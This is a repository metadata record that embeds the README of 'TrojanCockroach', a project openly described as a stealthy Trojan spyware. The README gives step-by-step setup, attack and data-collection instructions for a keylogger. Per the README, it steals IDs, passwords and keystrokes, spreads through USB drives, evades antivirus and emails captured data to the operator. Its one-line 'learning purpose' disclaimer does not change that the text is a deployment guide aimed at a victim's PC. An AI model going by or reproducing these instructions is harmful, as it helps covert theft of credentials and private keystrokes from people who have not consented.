{"id":18648505,"url":"https://github.com/minhaskamal/trojancockroach","last_synced_at":"2025-05-16T12:05:15.150Z","repository":{"id":38983994,"uuid":"46519056","full_name":"MinhasKamal/TrojanCockroach","owner":"MinhasKamal","description":"A Stealthy Trojan Spyware","archived":false,"fork":false,"pushed_at":"2024-05-09T22:52:05.000Z","size":1180,"stargazers_count":1015,"open_issues_count":23,"forks_count":257,"subscribers_count":63,"default_branch":"master","last_synced_at":"2025-04-02T05:57:29.260Z","etag":null,"topics":["cpp","fud","keylogger","malware","pendrive","spyware","trojan","trojan-cockroach","virus"],"latest_commit_sha":null,"homepage":"","language":"C++","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/MinhasKamal.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2015-11-19T20:41:54.000Z","updated_at":"2025-03-30T14:52:23.000Z","dependencies_parsed_at":"2024-11-07T06:32:58.466Z","dependency_job_id":"3e5f4596-6278-4b5a-aa71-163b7da98b13","html_url":"https://github.com/MinhasKamal/TrojanCockroach","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MinhasKamal%2FTrojanCockroach","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MinhasKamal%2FTrojanCockroach/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MinhasKamal%2FTrojanCockroach/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MinhasKamal%2FTrojanCockroach/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/MinhasKamal","download_url":"https://codeload.github.com/MinhasKamal/TrojanCockroach/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247994120,"owners_count":21030050,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cpp","fud","keylogger","malware","pendrive","spyware","trojan","trojan-cockroach","virus"],"created_at":"2024-11-07T06:31:26.933Z","updated_at":"2025-04-09T07:04:38.761Z","avatar_url":"https://github.com/MinhasKamal.png","language":"C++","readme":"\u003ch1\u003e \u003cimg src=\"https://cloud.githubusercontent.com/assets/5456665/22564601/52428212-e9af-11e6-8150-5d1ff05bbfa8.png\" width=\"24\" height=auto /\u003e Trojan Cockroach\u003c/h1\u003e\n\n[![Donate](https://img.shields.io/badge/Donate-PayPal-green.svg)](https://www.paypal.com/donate/?business=5KR6BA9MYTM62\u0026no_recurring=0\u0026currency_code=USD)\n\n#### A Stealthy Trojan Spyware\n\nYou are looking at a **Trojan Virus** that steals data (ID, password; every key stroke) from PC (Windows XP or later), then emails them back to you. It spreads among PCs through USB drives, and is almost undetectable to any antivirus software.\n\n*Created only for learning purpose.*\n\n### Intro\n- [TrojanCockroach.cpp](https://github.com/MinhasKamal/TrojanCockroach/blob/master/com/minhaskamal/trojanCockroach/TrojanCockroach.cpp)- logs user's data, sends data through Transmit.exe, infects portable drive.\n- [Infect.cpp](https://github.com/MinhasKamal/TrojanCockroach/blob/master/com/minhaskamal/trojanCockroach/Infect.cpp)- installs the virus into computer from portable drive.\n- [Transmit.exe](https://github.com/MinhasKamal/TrojanCockroach/blob/master/com/minhaskamal/trojanCockroach/Transmit.exe)-  emails data back.\n- [TrojanCockroach.lnk](https://github.com/MinhasKamal/TrojanCockroach/blob/master/com/minhaskamal/trojanCockroach/TrojanCockroach.lnk)- resides in the startup folder of PC and activates TrojanCockroach.exe.\n- [Infect.lnk](https://github.com/MinhasKamal/TrojanCockroach/blob/master/com/minhaskamal/trojanCockroach/Infect.lnk)- takes different attractive names in the infected portable drive, activates Infect.exe when clicked.\n- [DecodeMessage.cpp](https://github.com/MinhasKamal/TrojanCockroach/blob/master/com/minhaskamal/trojanCockroach/DecodeMessage.cpp)- used to decode received email.\n\n### Setup\n\n\u003col\u003e\n\u003cli\u003e\nPreparation\n\u003cbr/\u003e\n\u003col\u003e\n\u003cli\u003e\n  Download the full package from \u003ca href=\"https://minhaskamal.github.io/DownGit/#/home?url=https://github.com/MinhasKamal/TrojanCockroach/tree/master/com/minhaskamal/trojanCockroach\"\u003ehere\u003c/a\u003e.\n\u003c/li\u003e\n\u003cbr/\u003e\n\u003cli\u003e\n  Change the method \u003cb\u003esendData()\u003c/b\u003e of TrojanCockroach.cpp- place your email and password in the command.\n  \u003cdiv align=\"center\"\u003e\u003cimg src=\"https://cloud.githubusercontent.com/assets/5456665/21505255/c5c3db2e-cc8f-11e6-834f-1312e566a7ed.png\" alt=\"change email address\" width=\"600px\" height=auto/\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003cbr/\u003e\n\u003cli\u003e\n  Compile \u003cb\u003eTrojanCockroach.cpp\u003c/b\u003e \u0026 \u003cb\u003eInfect.cpp\u003c/b\u003e. \u003cb\u003eTransmit.exe\u003c/b\u003e is actually the executable distribution of \u003ca href=\"https://curl.haxx.se\"\u003ecurl\u003c/a\u003e for Windows.\n\u003c/li\u003e\n\u003cbr/\u003e\n\u003cli\u003e\n  Place \u003cb\u003eTrojanCockroach.exe\u003c/b\u003e, \u003cb\u003eInfect.exe\u003c/b\u003e, \u003cb\u003eTransmit.exe\u003c/b\u003e, \u003cb\u003eInfect.lnk\u003c/b\u003e \u0026 \u003cb\u003eTrojanCockroach.lnk\u003c/b\u003e in the same folder. This is how they look-\n  \u003cdiv align=\"center\"\u003e\u003cimg src=\"https://cloud.githubusercontent.com/assets/5456665/21505256/c5c4a982-cc8f-11e6-9b12-147fa7630e0f.png\" alt=\"Trojan Cockroach full package\" width=auto height=100px/\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003cbr/\u003e\n\u003cli\u003e\n  Now run \u003cb\u003eTrojanCockroach.exe\u003c/b\u003e then insert a pendrive (see the magic!). You will get a hidden folder and link file in your pendrive. The hidden folder contains the full package, \u0026 the link file is actually renamed form of Infect.lnk.\n  \u003cdiv align=\"center\"\u003e\u003cimg src=\"https://cloud.githubusercontent.com/assets/5456665/21505254/c5c0394c-cc8f-11e6-99be-16175b741c2a.PNG\" alt=\"Trojan Cockroach infected pendrive\" width=auto height=100px/\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/li\u003e\n\u003cbr/\u003e\n\u003cli\u003e\nAttack\n\u003cbr/\u003e\n\u003col\u003e\n\u003cli\u003e\n  Insert the USB-Drive in the subject's PC (Yes, you have to start the spreading process from somewhere!). Run Infect.lnk and the spyware will be injected.\n\u003c/li\u003e\n\u003cbr/\u003e\n\u003cli\u003e\n  The syware will be activated after a reboot. Now (after a restart) every time any USB-Drive is inserted in the affected PC, the virus will copy itself in that, and the cycle will start again.\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/li\u003e\n\u003cbr/\u003e\n\u003cli\u003e\nData Collection\n\u003cbr/\u003e\n\u003col\u003e\n\u003cli\u003e\n  You need to wait several days (depending on the number of power on/off of the PC), before getting any data.\n\u003c/li\u003e\n\u003cbr/\u003e\n\u003cli\u003e\n  After getting the email copy the full message to a text file. \n  \u003cdiv align=\"center\"\u003e\u003cimg src=\"https://cloud.githubusercontent.com/assets/5456665/21505503/2687fcd6-cc92-11e6-8bad-885fc9f77a78.PNG\" alt=\"Trojan Cockroach infected pendrive\" width=\"600px\" height=auto/\u003e\u003c/div\u003e\n  As the message has come through email certain characters are converted. To resolve that --- --- ---. \n\u003c/li\u003e\n\u003cbr/\u003e\n\u003cli\u003e\n  Now, run \u003cb\u003eDecodeMessage.exe\u003c/b\u003e for decoding the message as plain text. \n  \u003cdiv align=\"center\"\u003e\u003cimg src=\"https://cloud.githubusercontent.com/assets/5456665/21505528/59e92b0e-cc92-11e6-90bf-a050ed920ee9.png\" alt=\"Trojan Cockroach infected pendrive\" width=\"600px\" height=auto/\u003e\u003c/div\u003e\n  In this phase, you can look for specific patterns in the text, and thus get rid of most of the useless parts (like- mouse click, or same key-group press as happens during gaming).\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cbr/\u003e\n\n### Further \nYou may read [TrojanCockroachStory](https://github.com/MinhasKamal/TrojanCockroach/blob/master/TrojanCockroachStory.md) to get an overview of how the program works. You will get a clearer understanding of the project from its pre-project- **[StupidKeyLogger](https://github.com/MinhasKamal/StupidKeyLogger)**.\n\nThe project is perfectly runnable. However, I do not want newbies to abuse my project. So, I am **keeping some simple secrets unrevealed**. There are also some intentionally created **holes in this 'README'**. I have made some **nonsense changes in the code** too; so that- no one can run it effectively without getting his hands dirty. I believe these plain obstacles can easily be overcome by ***ACTUAL PROGRAMMERS*** :)\n\n**Note:** *I will not also take any responsibility of someone else's ill act with this program.* But I do believe that a real learner will learn a lot from this.\n\n\n### License\n\u003ca rel=\"license\" href=\"https://opensource.org/licenses/MIT\"\u003e\u003cimg alt=\"MIT License\" src=\"https://cloud.githubusercontent.com/assets/5456665/18950087/fbe0681a-865f-11e6-9552-e59d038d5913.png\" width=\"60em\" height=auto/\u003e\u003c/a\u003e\u003cbr/\u003e\u003ca href=\"https://github.com/MinhasKamal/TrojanCockroach\"\u003eTrojan Cockroach\u003c/a\u003e is licensed under \u003ca rel=\"license\" href=\"https://opensource.org/licenses/MIT\"\u003eMIT License\u003c/a\u003e.\n","funding_links":["https://www.paypal.com/donate/?business=5KR6BA9MYTM62\u0026no_recurring=0\u0026currency_code=USD"],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fminhaskamal%2Ftrojancockroach","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fminhaskamal%2Ftrojancockroach","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fminhaskamal%2Ftrojancockroach/lists"}